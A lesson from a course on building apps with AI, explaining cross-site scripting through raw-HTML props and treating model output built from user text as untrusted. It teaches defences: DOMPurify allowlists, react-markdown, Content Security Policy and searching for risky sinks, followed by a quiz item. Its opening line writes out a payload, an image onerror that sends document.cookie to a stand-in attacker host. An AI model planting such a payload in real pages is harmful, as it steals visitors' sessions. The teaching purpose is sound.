What the browser will do for a string
A browser given <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> as part of a page will try to load the image, fail, and run the script. If that string came from another user (a comment, a profile name, a note) the script runs in your visitor’s browser, on your domain, with whatever your visitor can do. That is cross-site scripting, and the first line of defence against it is one you already have.
Escaping is the default
React, Vue, Svelte and every modern templating system escape text by default. <p>{note.body}</p> renders the tag characters as literal text, not markup; the script never becomes script. This is why XSS has become rare in ordinary generated code, and why the cases that remain arrive through one door.
The door
<div dangerouslySetInnerHTML={{ __html: summary }} />The name is a warning, and the situations that produce it are reasonable ones. A model returns markdown; the page wants it formatted; the agent converts it to HTML and injects it. A rich-text editor stores HTML; the page shows it. A CMS or a third-party service sends HTML. In each case the content is text somebody else wrote, and the prop hands it to the browser as markup.
Vue’s v-html, Svelte’s {@html}, Angular’s [innerHTML], and any template that concatenates strings into a page have the same door under a different name.
The model’s output is user content
This is the case that catches AI-built apps specifically. A summary of a note is written by a model, from a note, and the note was written by a user. The injection lesson in the previous block said user text inside a prompt is untrusted; it follows that model output built from it is untrusted too. A note containing an image tag with an onerror attribute may be echoed into the summary verbatim, and rendered as HTML, it runs.
Treat every string that reaches the injecting prop as hostile, whoever produced it.
Sanitise at the door
Convert markdown to HTML, then pass the HTML through a sanitiser before rendering:
import DOMPurify from "isomorphic-dompurify";
const safeHtml = DOMPurify.sanitize(marked.parse(summary), {
ALLOWED_TAGS: ["p", "strong", "em", "ul", "ol", "li", "a", "code", "pre", "h2", "h3"],
ALLOWED_ATTR: ["href"],
});An allowlist of tags, an allowlist of attributes, and everything else stripped. DOMPurify is free, maintained, and the standard answer; do it on the server so the browser only ever receives clean markup. Links need one more rule: href values beginning with javascript: are script, and a sanitiser configured for links must reject them, which DOMPurify does by default.
Better than sanitising HTML is not producing it. Many markdown renderers can output React elements directly (react-markdown does) so the text is never HTML at all, and the escaping default is never turned off.
What a successful XSS does
With the session cookie marked HttpOnly as in the data block, the script cannot read the cookie. It can still do everything the user can: make requests to your routes with the user’s session attached, read what those routes return, change their email, post as them. HttpOnly limits the theft; it does not limit the actions. That is why the sanitiser matters even when the cookie is protected.
The backstop
A Content Security Policy is a response header that tells the browser which sources of script are allowed:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'With that, an injected inline script does not run even when the sanitiser missed it, because inline script is not on the list. Setting a strict policy on a framework app takes some care (some frameworks need a per-request nonce for their own inline scripts, and the framework’s documentation shows how) and it is worth the hour. It is the layer that holds when the first layer has a bug.
Finding the doors
Search the codebase for dangerouslySetInnerHTML, v-html, @html, innerHTML, and document.write. Each hit is a door. For each, trace the string backwards: where did it come from, and was it sanitised on the way? A hit with no sanitiser between it and any user or model is the finding. The count should be small (one or two, for the markdown) and every one should have a sanitize call within a few lines of it.
Every lesson here is open. Your progress is recorded once you pass the Building with AI exam.
Check your understanding
An AI summary is rendered with the raw-HTML prop so that its markdown formatting shows. A user pastes a note containing an image tag with an onerror attribute. What happens when another user with access views the summary?
Pick the one you would defend. Your answer stays private.
Stuck on something?Ask Beatriz, your AI tutor
